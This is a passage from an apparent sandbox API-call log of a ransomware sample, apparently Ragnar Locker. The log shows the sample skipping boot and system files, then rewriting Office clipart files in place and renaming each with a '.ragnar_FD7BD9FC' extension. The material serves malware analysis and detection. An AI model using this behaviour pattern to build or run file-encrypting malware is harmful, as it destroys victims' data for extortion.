Office\\CLIPART\\PUB60COR\\HH00235_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" [0082.443] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.ragnar_FD7BD9FC" [0082.443] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.444] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf971c00, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf971c00, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00236_.WMF", cAlternateFileName="")) returned 1 [0082.444] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.444] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00236_.WMF" | out: lpString1="HH00236_.WMF") returned="HH00236_.WMF" [0082.444] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned=".WMF" [0082.444] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.444] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="autorun.inf") returned 1 [0082.444] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="boot.ini") returned 1 [0082.444] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="bootfont.bin") returned 1 [0082.444] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="bootsect.bak") returned 1 [0082.444] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="bootmgr") returned 1 [0082.444] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="bootmgr.efi") returned 1 [0082.444] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.444] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="desktop.ini") returned 1 [0082.444] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="iconcache.db") returned -1 [0082.444] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="ntldr") returned -1 [0082.444] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="ntuser.dat") returned -1 [0082.444] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.444] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="ntuser.ini") returned -1 [0082.444] lstrcmpiW (lpString1="HH00236_.WMF", lpString2="thumbs.db") returned -1 [0082.444] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.444] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.444] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.444] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.445] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.445] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.445] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 0x20 [0082.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.445] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3286) returned 1 [0082.445] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xccd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.445] GetProcessHeap () returned 0x580000 [0082.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.445] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.447] VirtualAlloc (lpAddress=0x0, dwSize=0xcd6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.447] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.447] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.447] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xcd6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xcd6, lpOverlapped=0x0) returned 1 [0082.447] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.447] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcd6, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.447] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xcd6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xcd6, lpOverlapped=0x0) returned 1 [0082.447] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcd6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.447] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.448] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcd6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.448] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.448] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.448] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.448] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.448] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.448] GetProcessHeap () returned 0x580000 [0082.448] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.448] CloseHandle (hObject=0xf4) returned 1 [0082.448] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" [0082.448] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.ragnar_FD7BD9FC" [0082.448] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.449] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cd54400, ftCreationTime.dwHighDateTime=0x1bd4b22, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8cd54400, ftLastWriteTime.dwHighDateTime=0x1bd4b22, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00241_.WMF", cAlternateFileName="")) returned 1 [0082.449] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.449] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00241_.WMF" | out: lpString1="HH00241_.WMF") returned="HH00241_.WMF" [0082.449] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned=".WMF" [0082.449] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.449] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="autorun.inf") returned 1 [0082.449] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="boot.ini") returned 1 [0082.449] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="bootfont.bin") returned 1 [0082.449] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="bootsect.bak") returned 1 [0082.449] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="bootmgr") returned 1 [0082.449] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="bootmgr.efi") returned 1 [0082.449] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.449] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="desktop.ini") returned 1 [0082.449] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="iconcache.db") returned -1 [0082.449] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="ntldr") returned -1 [0082.449] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="ntuser.dat") returned -1 [0082.449] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.449] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="ntuser.ini") returned -1 [0082.449] lstrcmpiW (lpString1="HH00241_.WMF", lpString2="thumbs.db") returned -1 [0082.449] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.449] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.449] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.449] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.449] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.449] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.449] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x20 [0082.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.450] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1960) returned 1 [0082.450] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x79f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.450] GetProcessHeap () returned 0x580000 [0082.450] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.450] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.451] VirtualAlloc (lpAddress=0x0, dwSize=0x7a8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.451] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.451] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.451] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7a8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7a8, lpOverlapped=0x0) returned 1 [0082.452] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.452] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.452] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7a8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7a8, lpOverlapped=0x0) returned 1 [0082.452] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.452] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.452] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.452] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.452] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.452] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.452] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.452] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.452] GetProcessHeap () returned 0x580000 [0082.452] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.452] CloseHandle (hObject=0xf4) returned 1 [0082.452] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" [0082.453] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.ragnar_FD7BD9FC" [0082.453] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.453] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1461c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1461c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xe4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00260_.WMF", cAlternateFileName="")) returned 1 [0082.453] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.453] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00260_.WMF" | out: lpString1="HH00260_.WMF") returned="HH00260_.WMF" [0082.453] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned=".WMF" [0082.453] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.453] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="autorun.inf") returned 1 [0082.453] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="boot.ini") returned 1 [0082.453] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="bootfont.bin") returned 1 [0082.453] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="bootsect.bak") returned 1 [0082.453] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="bootmgr") returned 1 [0082.453] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="bootmgr.efi") returned 1 [0082.453] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.454] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="desktop.ini") returned 1 [0082.454] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="iconcache.db") returned -1 [0082.454] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="ntldr") returned -1 [0082.454] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="ntuser.dat") returned -1 [0082.454] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.454] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="ntuser.ini") returned -1 [0082.454] lstrcmpiW (lpString1="HH00260_.WMF", lpString2="thumbs.db") returned -1 [0082.454] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.454] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.454] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.454] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.454] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.454] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.454] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x20 [0082.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.455] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3662) returned 1 [0082.455] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.455] GetProcessHeap () returned 0x580000 [0082.455] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.455] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.457] VirtualAlloc (lpAddress=0x0, dwSize=0xe4e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.457] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.457] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.457] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe4e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe4e, lpOverlapped=0x0) returned 1 [0082.457] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.457] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe4e, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.457] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe4e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe4e, lpOverlapped=0x0) returned 1 [0082.457] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe4e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.457] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.457] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe4e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.457] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.458] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.458] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.458] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.458] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.458] GetProcessHeap () returned 0x580000 [0082.458] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.458] CloseHandle (hObject=0xf4) returned 1 [0082.458] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" [0082.458] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.ragnar_FD7BD9FC" [0082.458] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft 